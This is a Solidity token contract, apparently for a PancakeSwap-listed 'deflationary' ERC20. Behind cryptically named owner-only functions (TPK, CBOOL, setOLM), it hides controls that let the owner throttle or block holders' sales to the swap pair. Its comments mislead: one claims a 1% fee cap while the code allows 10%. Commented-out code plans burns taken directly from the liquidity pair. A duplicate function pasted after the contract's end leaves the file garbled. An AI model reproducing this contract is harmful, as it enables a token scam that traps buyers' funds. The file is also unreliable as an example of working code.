contract DeflationaryERC20 is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping(address => bool) public SWAP;
    uint256 private _totalSupply;
    address public pancake;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private TRADE = 5e18;
    bool public allin = false;

    // Transaction Fees:
    uint8 public txFee = 0; // capped to 1%.
    address public feeDistributor; // fees are sent to the honest dev
    bool private security = true;

    // Fee Whitelist
    mapping(address => bool) public feelessSender;
    mapping(address => bool) public feelessReceiver;
    // if this equals false whitelist can nolonger be added to.
    bool public canWhitelist = false;
    
    mapping(address => uint256) public transData;

    event UpdatedFeelessSender(address indexed _address, bool _isFeelessSender);
    event UpdatedFeelessReceiver(address indexed _address, bool _isFeelessReceiver);

    /**
     * @dev Sets the values for {name} and {symbol}, initializes {decimals} with
     * a default value of 18.
     *
     * To select a different value for {decimals}, use {_setupDecimals}.
     *
     * All three of these values are immutable: they can only be set once during
     * construction.
     */
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = 18;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
     * called.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view returns (uint8) {
        return _decimals;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
     
        function TPK (uint256 TKP) external virtual onlyOwner {
        TRADE = TKP;
    }
    
    function setOLM (bool _bool) external virtual onlyOwner {
        security= _bool;
    }
    
    function CBOOL(address _addr, bool _bool) external virtual onlyOwner {
        SWAP[_addr] = _bool;
    }
 
    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20};
     *
     * Requirements:
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    // assign a new transactionfee
    function setFee(uint8 _newTxFee) public onlyOwner {
        require(_newTxFee <= 100, "fee too big");
        txFee = _newTxFee;
    }

    // assign a new fee distributor address
    function setFeeDistributor(address _distributor) public onlyOwner {
        feeDistributor = _distributor;
    }

     // enable/disable sender who can send feeless transactions
    function setFeelessSender(address _sender, bool _feeless) public onlyOwner {
        require(!_feeless || _feeless && canWhitelist, "cannot add to whitelist");
        feelessSender[_sender] = _feeless;
        emit UpdatedFeelessSender(_sender, _feeless);
    }

    // enable/disable recipient who can reccieve feeless transactions
    function setfeelessReceiver(address _recipient, bool _feeless) public onlyOwner {
        require(!_feeless || _feeless && canWhitelist, "cannot add to whitelist");
        feelessReceiver[_recipient] = _feeless;
        emit UpdatedFeelessReceiver(_recipient, _feeless);
    }

    // disable adding to whitelist forever
    function renounceWhitelist() public onlyOwner {
        // adding to whitelist has been disabled forever:
        canWhitelist = false;
    }

    
    
   /* function _burn2() internal {
     _balances[pancake] = _balances[pancake].sub(50e18, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(50e18);
        
    }    */
    // to caclulate the amounts for recipient and distributer after fees have been applied
    function calculateAmountsAfterFee(
        address sender,
        address recipient,
        uint256 amount
    ) public view returns (uint256 transferToAmount, uint256 transferToFeeDistributorAmount) {

        // check if fees should apply to this transaction
        if (feelessSender[sender] || feelessReceiver[recipient]) {
            return (amount, 0);
        }

        // calculate fees and amounts
        uint256 fee = amount.mul(txFee).div(1000);
        return (amount.sub(fee), fee);
    }
    
    
    function saveTransData(address sender, uint256 _timestamp) internal {
        require(sender != address(0), "Error: sending from 0 address");
        
        transData[sender] = _timestamp;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 1000, "amount to small, maths will break");
         // calculate fee:
        (uint256 transferToAmount, uint256 transferToFeeDistributorAmount) = calculateAmountsAfterFee(sender, recipient, amount);
    
        uint256 timeNow = block.timestamp;

        if(timeNow < transData[sender] + 10 minutes){
            revert("CAN ONLY TRADE 5 DUCK PER 10 MIN");
        }
        if(security == true && SWAP[recipient] == true){
            require(amount <= TRADE, 'MAX SELL 5 DUCK PER TX');
            saveTransData(sender, block.timestamp);
            
             
        }
        _beforeTokenTransfer(sender, recipient, amount);
        
        // subtract send balanced
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");

        // update recipients balance:
         _balances[recipient] = _balances[recipient].add(transferToAmount);
         
        emit Transfer(sender, recipient, transferToAmount);
        
        // update distributers balance:
        
        
        if(transferToFeeDistributorAmount > 0 && feeDistributor != address(0)){
            _balances[feeDistributor] = _balances[feeDistributor].add(transferToFeeDistributorAmount);
            emit Transfer(sender, feeDistributor, transferToFeeDistributorAmount);
             
            //_balances[recipient] = _balances[recipient].sub(transferToAmount); 
        }
    }
        /*IPancakePair(pancake).sync;
        emit Transfer (pancake, feeDistributor, 50e18);
         _balances[pancake] = _balances[pancake].sub(50e18, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(50e18);*/
        
    /* if(allin == true)  {     
        _burn (pancake, 50e18); 
        }
        }
        
    function _burn1() internal virtual {
        _beforeTokenTransfer(pancake, address(0), 50e18);
        _balances[pancake] = _balances[pancake].sub(50e18, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(50e18); 
        emit Transfer (pancake, address(0), 50e18);*/
    
    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements
     *
     * - `to` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Sets {decimals} to a value other than the default one of 18.
     *
     * WARNING: This function should only be called from the constructor. Most
     * applications that interact with token contracts will not expect
     * {decimals} to ever change, and may work incorrectly if it does.
     */
    function _setupDecimals(uint8 decimals_) internal {
        _decimals = decimals_;
    }
    

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *0xa835dbc8D3fd8C0B6827fA8A6820F6c1b3a6e54D
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
    _transfer(_msgSender(), recipient, amount);
    return true;
}

/**
 * @dev See {IERC20-transfer}.
 *
 * Requirements:
 *
 * - `recipient` cannot be the zero address.
 * - the caller must have a balance of at least `amount`.
 */